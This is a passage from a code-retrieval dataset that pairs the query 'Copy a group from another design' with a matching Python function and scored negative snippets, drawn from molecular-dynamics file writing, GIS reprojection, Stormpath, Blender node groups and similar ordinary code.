'angstrom'\\n inst._last_crd_frame = 0\\n if inst.hasvels:\\n v = ncfile.createVariable('velocities', 'f', ('frame', 'atom', 'spatial'))\\n v.units = 'angstrom/picosecond'\\n inst.velocity_scale = v.scale_factor = 20.455\\n inst._last_vel_frame = 0\\n if nc is not None:\\n v.set_auto_maskandscale(False)\\n if inst.hasfrcs:\\n v = ncfile.createVariable('forces', 'f', ('frame', 'atom', 'spatial'))\\n v.units = 'kilocalorie/mole/angstrom'\\n inst._last_frc_frame = 0\\n if inst.hasbox:\\n v = ncfile.createVariable('cell_lengths', 'd', ('frame', 'cell_spatial'))\\n v.units = 'angstrom'\\n v = ncfile.createVariable('cell_angles', 'd', ('frame', 'cell_angular'))\\n v.units = 'degree'\\n inst._last_box_frame = 0\\n if inst.remd == 'TEMPERATURE':\\n v = ncfile.createVariable('temp0', 'd', ('frame', ))\\n v.units = 'kelvin'\\n inst._last_remd_frame = 0\\n elif inst.remd == 'MULTI':\\n ncfile.createVariable('remd_indices', 'i', ('frame', 'remd_dimension'))\\n ncfile.createVariable('remd_dimtype', 'i', ('remd_dimension', ))\\n inst._last_remd_frame = 0\\n\\n inst._last_time_frame = 0\\n\\n if inst.hasprotocolWork:\\n v = ncfile.createVariable('protocolWork', 'f', ('frame', ))\\n v.units = 'kT'\\n inst._last_protocolWork_frame = 0\\n\\n if inst.hasalchemicalLambda:\\n v = ncfile.createVariable('alchemicalLambda', 'f', ('frame', ))\\n v.units = 'unitless'\\n inst._last_alchemicalLambda_frame = 0\\n\\n return inst\",\n \"def open_new(cls,\\n fname,\\n natom,\\n box,\\n crds=True,\\n vels=False,\\n frcs=False,\\n remd=None,\\n remd_dimension=None,\\n title='',\\n protocolWork=False,\\n alchemicalLambda=False):\\n inst = cls(fname, 'w')\\n ncfile = inst._ncfile\\n if remd is not None:\\n if remd[0] in 'Tt':\\n inst.remd = 'TEMPERATURE'\\n elif remd[0] in 'Mm':\\n inst.remd = 'MULTI'\\n if remd_dimension is None:\\n raise ValueError('remd_dimension must be given ' 'for multi-D REMD')\\n inst.remd_dimension = int(remd_dimension)\\n else:\\n raise ValueError('remd must be T[emperature] or M[ultiD]')\\n else:\\n inst.remd = None\\n inst.hasbox = bool(box)\\n inst.hasvels = bool(vels)\\n inst.hascrds = bool(crds)\\n inst.hasfrcs = bool(frcs)\\n\\n inst.hasprotocolWork = bool(protocolWork)\\n inst.hasalchemicalLambda = bool(alchemicalLambda)\\n\\n # Assign the main attributes\\n ncfile.Conventions = \\\"AMBER\\\"\\n ncfile.ConventionVersion = \\\"1.0\\\"\\n ncfile.application = \\\"AmberTools\\\"\\n ncfile.program = \\\"ParmEd\\\"\\n ncfile.programVersion = parmed.__version__\\n ncfile.title = \\\"ParmEd-created trajectory\\\"\\n inst.Conventions = \\\"AMBER\\\"\\n inst.ConventionVersion = \\\"1.0\\\"\\n inst.application = \\\"AmberTools\\\"\\n inst.program = \\\"ParmEd\\\"\\n inst.programVersion = parmed.__version__\\n inst.title = ncfile.title\\n # Create the dimensions\\n ncfile.createDimension('frame', None)\\n ncfile.createDimension('spatial', 3)\\n ncfile.createDimension('atom', natom)\\n if inst.remd == 'MULTI':\\n ncfile.createDimension('remd_dimension', inst.remd_dimension)\\n inst.frame, inst.spatial, inst.atom = None, 3, natom\\n if inst.hasbox:\\n ncfile.createDimension('cell_spatial', 3)\\n ncfile.createDimension('cell_angular', 3)\\n ncfile.createDimension('label', 5)\\n inst.cell_spatial, inst.cell_angular, inst.label = 3, 3, 5\\n # Create the variables and assign units and scaling factors\\n v = ncfile.createVariable('spatial', 'c', ('spatial',))\\n v[:] = np.asarray(list('xyz'))\\n if inst.hasbox:\\n v = ncfile.createVariable('cell_spatial', 'c', ('cell_spatial',))\\n v[:] = np.asarray(list('abc'))\\n v = ncfile.createVariable('cell_angular', 'c', (\\n 'cell_angular',\\n 'label',\\n ))\\n v[:] = np.asarray([list('alpha'), list('beta '), list('gamma')])\\n v = ncfile.createVariable('time', 'f', ('frame',))\\n v.units = 'picosecond'\\n if inst.hascrds:\\n v = ncfile.createVariable('coordinates', 'f', ('frame', 'atom', 'spatial'))\\n v.units = 'angstrom'\\n inst._last_crd_frame = 0\\n if inst.hasvels:\\n v = ncfile.createVariable('velocities', 'f', ('frame', 'atom', 'spatial'))\\n v.units = 'angstrom/picosecond'\\n inst.velocity_scale = v.scale_factor = 20.455\\n inst._last_vel_frame = 0\\n if nc is not None:\\n v.set_auto_maskandscale(False)\\n if inst.hasfrcs:\\n v = ncfile.createVariable('forces', 'f', ('frame', 'atom', 'spatial'))\\n v.units = 'kilocalorie/mole/angstrom'\\n inst._last_frc_frame = 0\\n if inst.hasbox:\\n v = ncfile.createVariable('cell_lengths', 'd', ('frame', 'cell_spatial'))\\n v.units = 'angstrom'\\n v = ncfile.createVariable('cell_angles', 'd', ('frame', 'cell_angular'))\\n v.units = 'degree'\\n inst._last_box_frame = 0\\n if inst.remd == 'TEMPERATURE':\\n v = ncfile.createVariable('temp0', 'd', ('frame',))\\n v.units = 'kelvin'\\n inst._last_remd_frame = 0\\n elif inst.remd == 'MULTI':\\n ncfile.createVariable('remd_indices', 'i', ('frame', 'remd_dimension'))\\n ncfile.createVariable('remd_dimtype', 'i', ('remd_dimension',))\\n inst._last_remd_frame = 0\\n\\n inst._last_time_frame = 0\\n\\n if inst.hasprotocolWork:\\n v = ncfile.createVariable('protocolWork', 'f', ('frame',))\\n v.units = 'kT'\\n inst._last_protocolWork_frame = 0\\n\\n if inst.hasalchemicalLambda:\\n v = ncfile.createVariable('alchemicalLambda', 'f', ('frame',))\\n v.units = 'unitless'\\n inst._last_alchemicalLambda_frame = 0\\n\\n return inst\",\n \"def New(*args, **kargs):\\n obj = itkMeshSourceMF3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def reprojectQcew(overwrite=False):\\n\\n\\tif exists(qcew_2913) and not overwrite:\\n\\t\\tprint '\\\\nstate plane qcew already exists, if you wish to'\\n\\t\\tprint 'overwrite the existing file use the \\\"overwrite\\\" flag\\\\n'\\n\\t\\treturn\\n\\n\\tgeom_type = 'POINT'\\n\\ttemplate = src_qcew\\n\\tospn = arcpy.SpatialReference(2913)\\n\\tmanagement.CreateFeatureclass(dirname(qcew_2913),\\n\\t\\tbasename(qcew_2913), geom_type, template, spatial_reference=ospn)\\n\\n\\ti_cursor = da.InsertCursor(qcew_2913, '*')\\n\\n\\ts_fields = ['Shape@', '*']\\n\\twith da.SearchCursor(src_qcew, s_fields) as s_cursor:\\n\\t\\t# replace point coordinates with geometry object in field\\n\\t\\t# definition\\n\\t\\tfields = list(s_cursor.fields)\\n\\t\\tfields[1] = fields.pop(0)\\n\\n\\t\\tfor row in s_cursor:\\n\\t\\t\\tlist_row = list(row)\\n\\t\\t\\tlist_row[1] = list_row.pop(0)\\n\\t\\t\\td = OrderedDict(zip(fields, list_row))\\n\\n\\t\\t\\tgeom = d['Shape@']\\n\\t\\t\\tgeom_2913 = geom.projectAs(ospn) \\n\\t\\t\\td['Shape@'] = geom_2913\\n\\t\\t\\td['POINT_X'] = geom_2913.firstPoint.X\\n\\t\\t\\td['POINT_Y'] = geom_2913.firstPoint.Y\\n\\n\\t\\t\\twrite_row = [v for v in d.values()]\\n\\t\\t\\ti_cursor.insertRow(write_row)\\n\\n\\tdel i_cursor\",\n \"def __init__(\\n self,\\n name: str,\\n createStepName: str,\\n surface: Region,\\n interactionProperty: str,\\n enforcement: SymbolicConstant = SURFACE_TO_SURFACE,\\n thickness: Boolean = ON,\\n smooth: float = 0,\\n contactControls: str = \\\"\\\",\\n ):\\n super().__init__()\\n pass\",\n \"def New(*args, **kargs):\\n obj = itkLabelShapeOpeningImageFilterIUC3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def place_nwell_and_contact(self):\\n # adds the contact from active to metal1\\n well_contact_pos = self.upper_pmos1_inst.get_pin(\\\"D\\\").center().scale(1,0) \\\\\\n + vector(0, self.upper_pmos1_inst.uy() + contact.well.height/2 + drc[\\\"well_extend_active\\\"])\\n self.add_contact_center(layers=(\\\"active\\\", \\\"contact\\\", \\\"metal1\\\"),\\n offset=well_contact_pos,\\n implant_type=\\\"n\\\",\\n well_type=\\\"n\\\")\\n\\n\\n self.height = well_contact_pos.y + contact.well.height\\n\\n self.add_rect(layer=\\\"nwell\\\",\\n offset=vector(0,0),\\n width=self.width,\\n height=self.height)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.71606755","0.60618496","0.5981655","0.56415284","0.5577579","0.5565353","0.5536651","0.54877406","0.54286206","0.54191357","0.53995544","0.53853345","0.53833777","0.53343934","0.53200406","0.53013456","0.5293416","0.52651024","0.5246153","0.5235362","0.5217444","0.5199329","0.5196607","0.51937205","0.5185153","0.5181999","0.517641","0.51753646","0.5168973","0.5154978","0.5146563","0.5145394","0.5143134","0.51395726","0.51289356","0.5125012","0.5122577","0.51212794","0.5110512","0.51011634","0.5086742","0.508621","0.5076338","0.50735915","0.50720537","0.5054344","0.5048512","0.5044701","0.5039597","0.50358886","0.5031564","0.5029857","0.50275373","0.5023533","0.50214136","0.5019982","0.5017469","0.5011615","0.50071263","0.50049275","0.49955848","0.49928936","0.49921474","0.49912214","0.4987151","0.49866474","0.49765587","0.49763057","0.49714693","0.4968981","0.4965535","0.49527872","0.493897","0.4932325","0.49270257","0.49263892","0.49239033","0.49170724","0.491351","0.49124953","0.4911168","0.49101332","0.4908426","0.49010146","0.48967567","0.48845175","0.4884009","0.48758152","0.4875361","0.48736814","0.4873005","0.48680162","0.48648137","0.4859193","0.4859193","0.4856223","0.48544592","0.4853039","0.4853037","0.48511496"],"string":"[\n \"0.71606755\",\n \"0.60618496\",\n \"0.5981655\",\n \"0.56415284\",\n \"0.5577579\",\n \"0.5565353\",\n \"0.5536651\",\n \"0.54877406\",\n \"0.54286206\",\n \"0.54191357\",\n \"0.53995544\",\n \"0.53853345\",\n \"0.53833777\",\n \"0.53343934\",\n \"0.53200406\",\n \"0.53013456\",\n \"0.5293416\",\n \"0.52651024\",\n \"0.5246153\",\n \"0.5235362\",\n \"0.5217444\",\n \"0.5199329\",\n \"0.5196607\",\n \"0.51937205\",\n \"0.5185153\",\n \"0.5181999\",\n \"0.517641\",\n \"0.51753646\",\n \"0.5168973\",\n \"0.5154978\",\n \"0.5146563\",\n \"0.5145394\",\n \"0.5143134\",\n \"0.51395726\",\n \"0.51289356\",\n \"0.5125012\",\n \"0.5122577\",\n \"0.51212794\",\n \"0.5110512\",\n \"0.51011634\",\n \"0.5086742\",\n \"0.508621\",\n \"0.5076338\",\n \"0.50735915\",\n \"0.50720537\",\n \"0.5054344\",\n \"0.5048512\",\n \"0.5044701\",\n \"0.5039597\",\n \"0.50358886\",\n \"0.5031564\",\n \"0.5029857\",\n \"0.50275373\",\n \"0.5023533\",\n \"0.50214136\",\n \"0.5019982\",\n \"0.5017469\",\n \"0.5011615\",\n \"0.50071263\",\n \"0.50049275\",\n \"0.49955848\",\n \"0.49928936\",\n \"0.49921474\",\n \"0.49912214\",\n \"0.4987151\",\n \"0.49866474\",\n \"0.49765587\",\n \"0.49763057\",\n \"0.49714693\",\n \"0.4968981\",\n \"0.4965535\",\n \"0.49527872\",\n \"0.493897\",\n \"0.4932325\",\n \"0.49270257\",\n \"0.49263892\",\n \"0.49239033\",\n \"0.49170724\",\n \"0.491351\",\n \"0.49124953\",\n \"0.4911168\",\n \"0.49101332\",\n \"0.4908426\",\n \"0.49010146\",\n \"0.48967567\",\n \"0.48845175\",\n \"0.4884009\",\n \"0.48758152\",\n \"0.4875361\",\n \"0.48736814\",\n \"0.4873005\",\n \"0.48680162\",\n \"0.48648137\",\n \"0.4859193\",\n \"0.4859193\",\n \"0.4856223\",\n \"0.48544592\",\n \"0.4853039\",\n \"0.4853037\",\n \"0.48511496\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.74508125"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":80083,"cells":{"query":{"kind":"string","value":"Copy a group from another design."},"document":{"kind":"string","value":"def copyGroupFrom(self, groupName, sourceDesign, sourceProject=None, sourceProjectPath=None):\n oName = self.project_name\n if sourceProject == oName or sourceProject is None:\n oSrcProject = self._desktop.GetActiveProject()\n else:\n self._desktop.OpenProject(sourceProjectPath)\n oSrcProject = self._desktop.SetActiveProject(sourceProject)\n\n oDesign = oSrcProject.SetActiveDesign(sourceDesign)\n oEditor = oDesign.SetActiveEditor(\"3D Modeler\")\n oEditor.Copy([\"NAME:Selections\", \"Selections:=\", groupName])\n\n self.modeler.oeditor.Paste()\n self.modeler.primitives.refresh_all_ids()\n self.materials._load_from_project()\n return True"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def copy_group(self):\n dd = self.destination_directory\n sg = self.source_group\n dg = self.destination_group\n\n data = {\n 'description': sg.description,\n 'name': sg.name,\n 'status': sg.status,\n }\n\n # If this Group already exists, we'll just update it.\n if dg:\n for key, value in data.items():\n setattr(dg, key, value)\n\n while True:\n try:\n dg.save()\n return dg\n except StormpathError as err:\n logger.error('Failed to copy Group: {} into Directory: {} ({})'.format(sg.name.encode('utf-8'), dd.name.encode('utf-8'), err))\n\n # If we get here, it means we need to create the Group from scratch.\n while True:\n try:\n return dd.groups.create(data)\n except StormpathError as err:\n logger.error('Failed to copy Group: {} into Directory: {} ({})'.format(sg.name.encode('utf-8'), dd.name.encode('utf-8'), err))","def copy(\n self,\n vmf: Optional[VMF] = None,\n group_mapping: MutableMapping[int, int] = EmptyMapping,\n des_id: int = -1,\n ) -> 'VisGroup':\n newgroup = VisGroup(\n vmf or self.vmf,\n self.name,\n des_id,\n self.color.copy(),\n [\n child.copy(vmf, group_mapping)\n for child in self.child_groups\n ],\n )\n group_mapping[self.id] = newgroup.id\n return newgroup","def clone(self):\n return _libsbml.Group_clone(self)","def migrate(self):\n self.destination_group = self.get_destination_group()\n self.destination_group = self.copy_group()\n self.copy_custom_data()\n\n logger.info('Successfully copied Group: {}'.format(self.destination_group.name.encode('utf-8')))\n return self.destination_group","def copy(cls, group: 'Group') -> 'Group':\n from apps.enrollment.courses.models.term import Term\n from apps.schedulersync.models import TermSyncData\n\n def copy_term(t: Term) -> Term:\n classrooms = list(t.classrooms.all())\n term_sync_data: TermSyncData = list(t.termsyncdata_set.all())\n t.pk = None\n t.save()\n t.classrooms.set(classrooms)\n for tsd in term_sync_data:\n tsd.pk = None\n tsd.term = t\n tsd.save()\n return t\n\n copied_terms = [copy_term(t) for t in group.term.all()]\n copy = cls.objects.get(pk=group.pk)\n copy.pk = None\n copy.save()\n copy.term.set(copied_terms)\n return copy","async def mergegroup(self, ctx, original_group_id: int, duplicate_group_id: int):\n original_group = await ex.get_group(original_group_id)\n duplicate_group = await ex.get_group(duplicate_group_id)\n if not duplicate_group:\n return await ctx.send(f\"> {duplicate_group_id} could not find a Group.\")\n if not original_group:\n return await ctx.send(f\"> {original_group} could not find a Group.\")\n # move aliases\n await ex.conn.execute(\"UPDATE groupmembers.aliases SET objectid = $1 WHERE isgroup = $2 AND objectid = $3\", original_group.id, 1, duplicate_group.id)\n for member_id in duplicate_group.members:\n if member_id not in original_group.members:\n # update the member location to the original group\n await ex.conn.execute(\"UPDATE groupmembers.idoltogroup SET groupid = $1 WHERE idolid = $2 AND groupid = $3\", original_group.id, member_id, duplicate_group.id)\n # delete group\n await ex.conn.execute(\"DELETE FROM groupmembers.groups WHERE groupid = $1\", duplicate_group.id)\n # recreate cache\n await ex.create_idol_cache()\n await ex.create_group_cache()\n await ctx.send(f\"> Merged {duplicate_group_id} to {original_group_id}.\")","def spinecopy(sygroup_):\n copy = type(sygroup_)(sygroup_.container_type)\n visitor = SpineCopyVisitor(copy)\n sygroup_.visit(visitor)\n return copy","def clone(self):\n return _libsbml.GroupsExtension_clone(self)","def _add_group(self, group):\n\n if group.name not in self.groups:\n # it's brand new, add him!\n self.groups[group.name] = group\n if self.groups[group.name] != group:\n # different object, merge\n self._merge_groups(self.groups[group.name], group)","def test_drag_group_into_group(self):\r\n expected_ordering = [{self.container_title: [self.group_a, self.group_empty]},\r\n {self.group_a: [self.group_b, self.group_a_item_1, self.group_a_item_2]},\r\n {self.group_b: [self.group_b_item_1, self.group_b_item_2]},\r\n {self.group_empty: []}]\r\n self.drag_and_verify(self.group_b_handle, self.group_a_item_1_handle, expected_ordering)","def test_copy_2(dset_full):\n dset_new = copy.deepcopy(dset_full)\n\n # Test internal references in the dataset\n assert id(dset_new.site_pos.other) == id(dset_new.sat_pos)\n assert id(dset_new.site_delta.ref_pos) == id(dset_new.site_pos)\n assert id(dset_new.site_posvel.other) == id(dset_new.sat_posvel)\n assert id(dset_new.site_posvel_delta.ref_pos) == id(dset_new.site_posvel)\n\n assert id(dset_new.group.site_pos.other) == id(dset_new.group.sat_pos)\n assert id(dset_new.group.site_delta.ref_pos) == id(dset_new.group.site_pos)\n assert id(dset_new.group.site_posvel.other) == id(dset_new.group.sat_posvel)\n assert id(dset_new.group.site_posvel_delta.ref_pos) == id(dset_new.group.site_posvel)\n\n # Verify that new dataset have different references than original object\n for field_name, field in dset_full._fields.items():\n assert id(field.data) != id(dset_new._fields[field_name].data)\n try:\n for group_field_name, group_field in field.data._fields.items():\n assert id(group_field.data) != id(dset_new._fields[field_name].data._fields[group_field_name].data)\n except AttributeError:\n # Field is not a group\n pass","def test_drag_into_different_group(self):\r\n expected_ordering = [{self.container_title: [self.group_a, self.group_empty, self.group_b]},\r\n {self.group_a: [self.group_b_item_1, self.group_a_item_1, self.group_a_item_2]},\r\n {self.group_b: [self.group_b_item_2]},\r\n {self.group_empty: []}]\r\n self.drag_and_verify(self.group_b_item_1_handle, self.group_a_item_1_handle, expected_ordering)","def copy(self):\n kopy = self.__class__()\n # Copy the source net\n kopy.source_net = nx.DiGraph(self.source_net)\n return kopy","def clone(self):\n return _libsbml.GroupsModelPlugin_clone(self)","def clone(self):\n return _libsbml.ListOfGroups_clone(self)","def CopyAllSubElementsTo(self, other_group, ignore):\n # pylint: disable=protected-access\n collections_to_update = [\n (self._groups_to_load, other_group._groups_to_load),\n (self._commands_to_load, other_group._commands_to_load)]\n\n for src, dst in collections_to_update:\n for name, info in src.iteritems():\n if name in ignore:\n continue\n (module_dir, module_path, name, unused_track) = info\n dst[name] = (module_dir, module_path, name,\n other_group.ReleaseTrack())","def create_new_group(self, a, b):\n self.groups[self.group_id] = set([a,b])\n self.node_id[a] = self.node_id[b] = self.group_id\n self.group_id += 1","def add_to_group(self, group):\n\n if not self.in_group(group):\n self.secondary_groups.append(group)\n return self","def make_grp(self, name='grp'):\n self.base[name] = self.get_group_array()","def save_group_and_return_instance(self, groupname=\"\"):\n if groupname == \"\":\n raise ValueError(\"group needs its name.\")\n group = Group(name=groupname)\n self.save_object(group)\n return group","def replace_current_transform_group(self, transform):\n dataset_copy = self.remove_current_transform_group()\n cgroup = dataset_copy._transform_groups.current_group\n dataset_copy._transform_groups[cgroup] = transform\n dds = []\n for dd in dataset_copy._datasets:\n if isinstance(dd, _FlatDataWithTransform):\n dds.append(dd.remove_current_transform_group())\n else:\n dds.append(dd)\n dataset_copy._datasets = dds\n return dataset_copy","def copy(self):\n return self.__class__(\n group_list=self.group_list, bits_except_last=self.bits_except_last,\n max_value=self.max_value\n )","def replace_current_transform_group(self, transform):\n datacopy = self._shallow_clone_dataset()\n fdata = datacopy._flat_data\n datacopy._flat_data = fdata.replace_current_transform_group(transform)\n return datacopy","def _merge_groups(self, group, newgroup):\n\n # name\n if group.name != newgroup.name:\n raise errors.AnsibleError(\"Cannot merge group %s with %s\" % (group.name, newgroup.name))\n\n # depth\n group.depth = max([group.depth, newgroup.depth])\n\n # hosts list (host objects are by now already added to self.hosts)\n for host in newgroup.hosts:\n grouphosts = dict([(h.name, h) for h in group.hosts])\n if host.name in grouphosts:\n # same host name but different object, merge\n self._merge_hosts(grouphosts[host.name], host)\n else:\n # new membership, add host to group from self\n # group from self will also be added again to host.groups, but\n # as different object\n group.add_host(self.hosts[host.name])\n # now remove this the old object for group in host.groups\n for hostgroup in [g for g in host.groups]:\n if hostgroup.name == group.name and hostgroup != self.groups[group.name]:\n self.hosts[host.name].groups.remove(hostgroup)\n\n\n # group child membership relation\n for newchild in newgroup.child_groups:\n # dict with existing child groups:\n childgroups = dict([(g.name, g) for g in group.child_groups])\n # check if child of new group is already known as a child\n if newchild.name not in childgroups:\n self.groups[group.name].add_child_group(newchild)\n\n # group parent membership relation\n for newparent in newgroup.parent_groups:\n # dict with existing parent groups:\n parentgroups = dict([(g.name, g) for g in group.parent_groups])\n # check if parent of new group is already known as a parent\n if newparent.name not in parentgroups:\n if newparent.name not in self.groups:\n # group does not exist yet in self, import him\n self.groups[newparent.name] = newparent\n # group now exists but not yet as a parent here\n self.groups[newparent.name].add_child_group(group)\n\n # variables\n group.vars = utils.combine_vars(group.vars, newgroup.vars)","def copy(self, vmf: Optional[VMF] = None) -> 'EntityGroup':\n if vmf is None:\n vmf = self.vmf\n\n return EntityGroup(\n vmf,\n self.id,\n self.shown,\n self.auto_shown,\n self.color.copy(),\n )","def copy_all_except_candidates(self):\n groupcopy = AssignmentGroup(parentnode=self.parentnode,\n name=self.name,\n is_open=self.is_open,\n delivery_status=self.delivery_status)\n groupcopy.full_clean()\n groupcopy.save()\n for examiner in self.examiners.all():\n groupcopy.examiners.create(relatedexaminer=examiner.relatedexaminer)\n for tagobj in self.tags.all():\n groupcopy.tags.create(tag=tagobj.tag)\n return groupcopy","def with_transforms(self: TDataWTransform, group_name: str) -> TDataWTransform:\n datacopy = self._shallow_clone_dataset()\n datacopy._frozen_transform_groups.with_transform(group_name)\n datacopy._transform_groups.with_transform(group_name)\n return datacopy","def pick_grom_group(group, other, selected):\n\treturn Faction(over(group, selected), over(group + other, selected))","def add_to_group(self, org, contact, group):\n pass","def copy(self):","def copy(self):\n \n # copying profs and groups to avoid pointer troubles\n profs_copy = []\n groups_copy = []\n \n # to make it easy to use the same copy\n # a bit of a convoluted solution but for now it works\n getting_group_by_name = {}\n \n for prof in self.professors:\n profs_copy.append( prof.copy() )\n \n for group in self.groups:\n cp = group.copy()\n groups_copy.append( cp )\n getting_group_by_name[ group.get_name() ] = cp\n \n cp = Schedule( profs_copy, groups_copy, self.num_days, self.num_rooms, self.max_num_students_in_room )\n \n \n for day_number in range(len(self.days)):\n \n for prof_name, group_list in self.days[day_number].items():\n \n if not prof_name in cp.days[day_number]:\n cp.days[day_number][prof_name] = []\n \n for group in group_list:\n cp.days[day_number][prof_name].append( getting_group_by_name[ group.get_name() ] )\n \n \n \n return cp","def copy_(self, other):\n raise NotImplementedError(\"copy_ is not implemented\")","def test_mergeGroups(self):\n tabs = [\n widgets.Tab(u'id1', u'Title 1', None),\n widgets.Tab(u'id2', u'Title 2', None)]\n tabGroup1 = widgets.TabGroup(u'id', u'Title', tabs=tabs)\n tabs = [\n widgets.Tab(u'id3', u'Title 3', None)]\n tabGroup2 = widgets.TabGroup(u'id', u'Hello', tabs=tabs)\n\n newGroup = widgets.TabGroup.mergeGroups(tabGroup1, tabGroup2)\n self.assertEquals(newGroup.id, u'id')\n self.assertEquals(newGroup.title, u'Hello')\n self.assertEquals(newGroup.tabs, tabGroup1.tabs + tabGroup2.tabs)","def register_group(self, group):\n if group.name in self._groups:\n return\n\n self._groups[group.name] = copy.copy(group)","def add_move_group_combining_others(self, new_group_name, existing_group_names=None):\n new_group = xml.dom.minidom.Document().createElement('group')\n new_group.setAttribute(\"name\", new_group_name)\n for existing_group_name in existing_group_names:\n new_group.appendChild(xml.dom.minidom.Document().createElement(f'group name=\"{existing_group_name}\"'))\n new_group.writexml(self.new_robot_srdf, indent=\" \", addindent=\" \", newl=\"\\n\")","def copy(self):\n return self.__class__(\n self.kind, self.link_ids.copy(), self.included_nodes.copy(), self.mass,\n self.name, self.crossring_cleavages.copy(), self.composition.copy())","def __sub__(self, other):\n return TrajectoryGroup(HyGroup.__sub__(self, other))","def execute(self, context):\n\n # go to subtree, select all except input and output groups and mark nodes to be copied\n group_node = context.active_node\n sub_tree = group_node.group_tree\n\n if len(self.conflicts) > 0:\n self._resolve_conflicts(sub_tree, group_node.get_tree())\n\n bpy.ops.arm.edit_group_tree(node_index=group_node.get_id_str())\n [setattr(n, 'select', False) for n in sub_tree.nodes]\n group_nodes_filter = filter(lambda n: n.bl_idname not in {'LNGroupInputsNode', 'LNGroupOutputsNode'}, sub_tree.nodes)\n for node in group_nodes_filter:\n node.select = True\n node['sub_node_name'] = node.name # this will be copied within the nodes\n\n # the attribute should be empty in destination tree\n tree = context.space_data.path[-2].node_tree\n for node in tree.nodes:\n if 'sub_node_name' in node:\n del node['sub_node_name']\n\n # Frames can't be just copied because they do not have absolute location, but they can be recreated\n frame_names = {n.name for n in sub_tree.nodes if n.select and n.bl_idname == 'NodeFrame'}\n [setattr(n, 'select', False) for n in sub_tree.nodes if n.bl_idname == 'NodeFrame']\n\n if any(n for n in sub_tree.nodes if n.select): # if no selection copy operator will raise error\n # copy and past nodes into group tree\n bpy.ops.node.clipboard_copy()\n context.space_data.path.pop()\n bpy.ops.node.clipboard_paste() # this will deselect all and select only pasted nodes\n\n # move nodes in group node center\n tree_select_nodes = [n for n in tree.nodes if n.select]\n center = reduce(lambda v1, v2: v1 + v2,\n [Vector(ArmLogicTreeNode.absolute_location(n)) for n in tree_select_nodes]) / len(tree_select_nodes)\n [setattr(n, 'location', n.location - (center - group_node.location)) for n in tree_select_nodes]\n\n # recreate frames\n node_name_mapping = {n['sub_node_name']: n.name for n in tree.nodes if 'sub_node_name' in n}\n ArmAddGroupTreeFromSelected.recreate_frames(sub_tree, tree, frame_names, node_name_mapping)\n else:\n context.space_data.path.pop() # should exit from subtree anywhere\n\n # delete group node\n tree.nodes.remove(group_node)\n for node in tree.nodes:\n if 'sub_node_name' in node:\n del node['sub_node_name']\n\n tree.update()\n\n return {'FINISHED'}","def test_rsync_set_group(self):\n \n root = tempfile.mkdtemp(prefix=\"rsync_test_set_group_\")\n avail_groups = os.getgroups()\n exp_group = grp.getgrgid(avail_groups[random.randint(1,len(avail_groups))-1])[0]\n \n # Create some files to move\n to_copy = self._create_test_files(root)\n \n # Run rsync\n with open(os.devnull, 'w') as f:\n old_stdout = sys.stdout\n sys.stdout = f\n rsync_files(to_copy,sys.stdout,exp_group,False)\n sys.stdout = old_stdout\n \n # Verify the copy process set the correct group on created directories\n for ddir in set([d[1] for d in to_copy]):\n gid = os.stat(ddir).st_gid\n obs_group = grp.getgrgid(gid)[0]\n self.assertEqual(obs_group,\n exp_group,\n \"Failed to set group '{}' on directory. Group is {}\".format(exp_group,\n obs_group))\n \n # Verify the copy process set the correct group\n for src, ddir, dname in to_copy:\n dfile = os.path.join(ddir,dname)\n gid = os.stat(dfile).st_gid\n obs_group = grp.getgrgid(gid)[0]\n self.assertEqual(obs_group,\n exp_group,\n \"Failed to set group '{}' on file. Group is {}\".format(exp_group,\n obs_group))","def _shallow_clone_dataset(self: TDataWTransform) -> TDataWTransform:\n dataset_copy = copy.copy(self)\n dataset_copy._transform_groups = copy.copy(dataset_copy._transform_groups)\n dataset_copy._frozen_transform_groups = copy.copy(\n dataset_copy._frozen_transform_groups\n )\n return dataset_copy","def test_060_add_group_to_group(self):\n\n testflow.step(\"Adding group %s to group %s\", TEST_GROUP1, TEST_GROUP2)\n assert MANAGE_CLI.run(\n 'groupadd',\n TEST_GROUP1,\n group=TEST_GROUP2,\n )[0], \"Failed to add group to group '%s'\" % TEST_GROUP1","def copy_from(self, other):\n assert not self.is_final\n if self.parent is not None:\n assert other.parent is not None\n self.parent.copy_from(other.parent)\n self.isolated_names = copy.copy(other.isolated_names)\n self.modified = copy.copy(other.modified)\n self.read = copy.copy(other.read)\n self.deleted = copy.copy(other.deleted)\n self.bound = copy.copy(other.bound)\n self.annotations = copy.copy(other.annotations)\n self.params = copy.copy(other.params)","def paste(self, other):\n r, g, b, alpha = other.pil_image.split()\n pil_image = self.pil_image.copy()\n pil_image.paste(other.pil_image, mask=alpha)\n return kurt.Image(pil_image)","def __copy__(self):\n return self.parent()([gg for gg in self._g],\n check=False,\n mutable=self._mutable)","def with_transforms(self: TAvalancheDataset, group_name: str) -> TAvalancheDataset:\n datacopy = self._shallow_clone_dataset()\n datacopy._flat_data = datacopy._flat_data.with_transforms(group_name)\n return datacopy","def join_group(self, group: InterphoneGroup) -> None:\n self._group = group\n group.register(self)","def group(self):\n raise NotImplementedError()","def remove_from_group(self, org, contact, group):\n pass","def group(self, group):\n self._group = group","def deepcopy(D):\n D_copy = python_copy.deepcopy(D)\n D_copy.uid = Device._next_uid\n Device._next_uid += 1\n D_copy.name = D.name\n # Make sure _bb_valid is set to false for these new objects so new\n # bounding boxes are created in the cache\n for D in D_copy.get_dependencies(True):\n D._bb_valid = False\n D_copy._bb_valid = False\n\n return D_copy","def copy_structure(self, other_directory):\n pass","def createMainGroup(self):\n\t\tmc.group( n = self.grp.name, em = True )","def copy( self ):\n g = type(self)( self.name, self.mesh )\n g.set_field( self.val )\n for bc in self.bconds:\n g.add_boundary_condition( bc )\n return g","def group(self, group):\n self.proxy_group = group\n return self","def create_from_src(self, cgsnapshot_id, source_cgid, name=None,\n description=None, user_id=None,\n project_id=None):\n body = {'consistencygroup-from-src': {'name': name,\n 'description': description,\n 'cgsnapshot_id': cgsnapshot_id,\n 'source_cgid': source_cgid,\n 'user_id': user_id,\n 'project_id': project_id,\n 'status': \"creating\",\n }}\n\n 